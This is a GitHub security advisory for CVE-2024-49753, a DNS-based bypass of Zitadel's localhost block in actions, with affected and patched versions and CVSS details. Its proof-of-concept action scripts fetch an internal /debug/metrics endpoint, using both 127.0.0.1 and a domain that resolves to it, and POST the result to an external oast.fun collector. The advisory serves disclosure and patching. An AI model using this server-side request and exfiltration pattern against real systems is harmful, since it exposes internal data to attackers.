Skip to content

Denied Host Validation Bypass in Zitadel Actions

Moderate severity GitHub Reviewed Published Oct 25, 2024 in zitadel/zitadel • Updated Oct 25, 2024

Package

gomod github.com/zitadel/zitadel (Go)

Affected versions

= 2.64.0
>= 2.63.0, < 2.63.6
>= 2.62.0, < 2.62.8
>= 2.61.0, < 2.61.4
>= 2.60.0, < 2.60.4
>= 2.59.0, < 2.59.5
< 2.58.7

Patched versions

2.64.1
2.63.6
2.62.8
2.61.4
2.60.4
2.59.5
2.58.7

Description

Summary

A flaw in the URL validation mechanism of Zitadel actions allows bypassing restrictions intended to block requests to localhost (127.0.0.1). The isHostBlocked check, designed to prevent such requests, can be circumvented by creating a DNS record that resolves to 127.0.0.1. This enables actions to send requests to localhost despite the intended security measures.

Details

While attempting to send a request directly to 127.0.0.1 via an action results in an error (see image below), the restriction can be bypassed using a custom DNS record.
image

The relevant action code demonstrates the attempted request to 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://127.0.0.1:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'data': user,
        }),
    });
    logger.log(api_r.body);
}

By creating a DNS record that resolves a custom domain to 127.0.0.1 (illustrated below using messwithdns), the action can successfully send the request.
image

The modified action code uses the custom domain instead of 127.0.0.1:

let http = require('zitadel/http')
let logger = require("zitadel/log")
function make_api_call(ctx, api) {
    var user = http.fetch('http://ok.jelly244.messwithdns.com:8080/debug/metrics');

    var api_r = http.fetch('https://obtjoiwgtaftuhbjugulyolvvxuvuuosq.oast.fun/test', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
        },
        body: JSON.stringify({
            'user': user,
        }),
    });
    logger.log(api_r.body);
}

image

This demonstrates that data from the /debug/metrics API, intended to be restricted to localhost, can be fetched and sent to an external endpoint.
image

Impact

This vulnerability potentially allows unauthorized access to unsecured internal endpoints, which may contain sensitive information or functionalities.

Patches

2.x versions are fixed on >= 2.64.1
2.63.x versions are fixed on >= 2.63.6
2.62.x versions are fixed on >= 2.62.8
2.61.x versions are fixed on >= 2.61.4
2.60.x versions are fixed on >= 2.60.4
2.59.x versions are fixed on >= 2.59.5
2.58.x versions are fixed on >= 2.58.7

Workarounds

There is no workaround since a patch is already available.

Questions

If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits

Thanks to @prdp1137 for reporting this!

References

@livio-a livio-a published to zitadel/zitadel Oct 25, 2024
Published by the National Vulnerability Database Oct 25, 2024
Published to the GitHub Advisory Database Oct 25, 2024
Reviewed Oct 25, 2024
Last updated Oct 25, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N

EPSS score

0.044%
(15th percentile)

Weaknesses

CVE ID

CVE-2024-49753

GHSA ID

GHSA-6cf5-w9h3-4rqv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.